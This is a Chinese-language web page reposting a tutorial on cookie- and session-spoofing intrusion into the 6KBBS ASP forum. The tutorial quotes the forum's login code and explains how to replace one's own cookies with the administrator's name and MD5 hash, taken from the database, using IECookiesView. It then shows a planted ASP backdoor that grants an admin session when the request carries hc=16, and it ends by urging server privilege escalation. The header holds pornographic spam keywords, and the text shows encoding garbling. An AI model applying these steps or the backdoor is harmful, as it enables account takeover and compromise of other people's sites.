人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動(dòng)態(tài)

實(shí)例講解Cookies欺騙與session欺騙入侵

發(fā)布日期:2021-12-20 08:44 | 文章來(lái)源:源碼之家
我們先來(lái)說(shuō)下基礎(chǔ)知識(shí),免的一些菜鳥看不懂,有借鑒. cookies欺騙,就是在只對(duì)用戶做cookies驗(yàn)證的系統(tǒng)中,通過(guò)修改cookies的內(nèi)容來(lái)得到相應(yīng)的用戶權(quán)限登錄。

  那么什么是cookies呢,我這里給大家一個(gè)專業(yè)的解釋,cookies是一個(gè)儲(chǔ)存于瀏覽器目錄中的文本文件,記錄你訪問(wèn)一個(gè)特定站點(diǎn)的信息,且只能被創(chuàng)建這個(gè)cookies的站點(diǎn)讀回,約由255個(gè)字符組成,僅占4kb硬盤空間。當(dāng)用戶正在瀏覽某站點(diǎn)時(shí),它儲(chǔ)存于用戶機(jī)的隨機(jī)存取存儲(chǔ)器ram中,退出瀏覽器后,它儲(chǔ)存于用戶的硬盤中。儲(chǔ)存在cookies中的大部分信息是普通的,如當(dāng)你瀏覽一個(gè)站點(diǎn)時(shí),此文件記錄了每一次的擊鍵信息和被訪站點(diǎn)的地址等。但是許多web站點(diǎn)使用cookies來(lái)儲(chǔ)存針對(duì)私人的數(shù)據(jù),如:注冊(cè)口令、用戶名、信用卡編號(hào)等。

什么是Session?當(dāng)一個(gè)訪問(wèn)者來(lái)到你的網(wǎng)站的時(shí)候一個(gè)Session就開始了,當(dāng)他離開的時(shí)候Session就結(jié)束了。本質(zhì)是來(lái)說(shuō),cookie是和瀏覽器有關(guān)系,而Session變量就可以存一些資源變量在服務(wù)器上面。
正題: 我們先里看個(gè)實(shí)例,在6KBBS的login.asp找到113—124行,得到以下代碼:

if
[url=javascript:][color=#949494]Copy code[/color][/url]
login=false then tl=" 登 陸 失 敗" mes=mes&"

  ·返回重新填寫" else response.cookies(prefix)("lgname")

  =lgname session(prefix"lgname")=

  lgname response.cookies(prefix)("lgpwd")=

  lgpwd response.cookies(prefix)("lgtype")=

  lgtype response.cookies(prefix)("lgcook")=

  cook if cook>0 then response.cookies(prefix).expires=

  date cook end if

我們來(lái)分析下,如果你登錄失敗了他就顯示你登錄失敗并引導(dǎo)你返回上一頁(yè),否則就給你寫進(jìn)cookies里面,如果你的cookies有的話那么你的過(guò)期時(shí)間就是你cookies的過(guò)期時(shí)間——也就是你保存cookies的時(shí)間了。 這時(shí),我們想到的是如果里面的信息是admin的,那一不就成了以管理員登陸了嗎? 首先,我們先去注冊(cè)一個(gè)用戶,然后登錄,有個(gè)cookies保存的選項(xiàng),一定要選哦。我選擇是保存一個(gè)月,因?yàn)楸4媪瞬艜?huì)再你本機(jī)上寫進(jìn)它的cookies。接著,打開數(shù)據(jù)庫(kù),看admin表里面有什么東西,別的不管,你只要那個(gè)bd為16的那個(gè)人就行了。有可能沒(méi)有,你可以到他們論壇去逛一下,看管理員是誰(shuí),然后在數(shù)據(jù)庫(kù)里面拿他的賬號(hào)和加密的密碼來(lái)欺騙。

  打開iecookiesview,這款軟件是拿來(lái)察看和修改本機(jī)的cookies的,很方便我們的cookies欺騙入侵。

  在iecookiesview 里找到你要欺騙的那個(gè)網(wǎng)站,看到了嗎?有你的用戶名和md5加密的密碼,我們吧這兩項(xiàng)改為管理員的,就是把剛才數(shù)據(jù)庫(kù)里面的管理員賬號(hào)和md5加密的密碼代替你自己的。點(diǎn)擊“更改cookies”,打開一個(gè)新的ie,然后再去訪問(wèn)那個(gè)論壇,看到?jīng)]有?你現(xiàn)在已經(jīng)是管理員了。

接著,麻煩的事出現(xiàn)了,后臺(tái)登陸并不是以cookies來(lái)實(shí)現(xiàn)的,而是以session實(shí)現(xiàn)的 ,所以我們同樣來(lái)欺騙session;

首先簡(jiǎn)單說(shuō)一下一般asp系統(tǒng)的身份驗(yàn)證原理。 一般來(lái)說(shuō),后臺(tái)管理員在登錄頁(yè)面輸入賬號(hào)密碼后,程序會(huì)拿著他提交的用戶名密碼去數(shù)據(jù)庫(kù)的管理員表里面找,如果有這個(gè)人的賬號(hào)密碼就認(rèn)為你是管理員,然后給你一個(gè)表示你身份的session值。或者程序先把你的用戶名密碼提取出來(lái),然后到數(shù)據(jù)庫(kù)的管理員表里面取出管理員的賬號(hào)密碼來(lái)和你提交的相比較,如果相等,就跟上面一樣給你個(gè)表示你身份的sesion值。然后你進(jìn)入任何一個(gè)管理頁(yè)面它都要首先驗(yàn)證你的session值,如果是管理員就讓你通過(guò),不是的話就引導(dǎo)你回到登錄頁(yè)面。

找到manage/admin.asp,發(fā)現(xiàn)驗(yàn)證內(nèi)容為:

[url=javascript:][color=#949494]Copy code[/color][/url]
...
  else
   rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
   rs("LastLoginTime")=now()
   rs("LoginTimes")=rs("LoginTimes") 1
   rs.update
   session.Timeout=SessionTimeout
   session("AdminName")=rs("username")
   rs.close
   set rs=nothing
   call CloseConn()
   Response.Redirect "Admin_Index.asp" 很容易就知道如果沒(méi)有獲得驗(yàn)證就會(huì)出現(xiàn)兩個(gè)session值:
[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout
  session("AdminName")=rs("username") 試想如果我們以adminName的信息登陸就就ok了..接著用ASP木馬編輯器來(lái)添加代碼如下:

[url=javascript:][color=#949494]Copy code[/color][/url]
dim id
  id=trim(request("hc"))
  if id="16" then
   session("AdminName")="admin"
  end if 分析上段代碼,有個(gè)不定值--admin,可以根據(jù)實(shí)際情況來(lái)設(shè)置,不一定是admin;可以在一些不常去的頁(yè)面來(lái)登陸,如:FriendSite.asp?hc=16返回時(shí)頁(yè)面沒(méi)有出現(xiàn)異樣,這就行了,然后再次登陸manage/admin.asp,你會(huì)發(fā)現(xiàn),你已經(jīng)進(jìn)入后臺(tái)了。然后可以提權(quán)得弄服務(wù)器了。

版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開通

自選配置、實(shí)時(shí)開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問(wèn)服務(wù)

1對(duì)1客戶咨詢顧問(wèn)

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部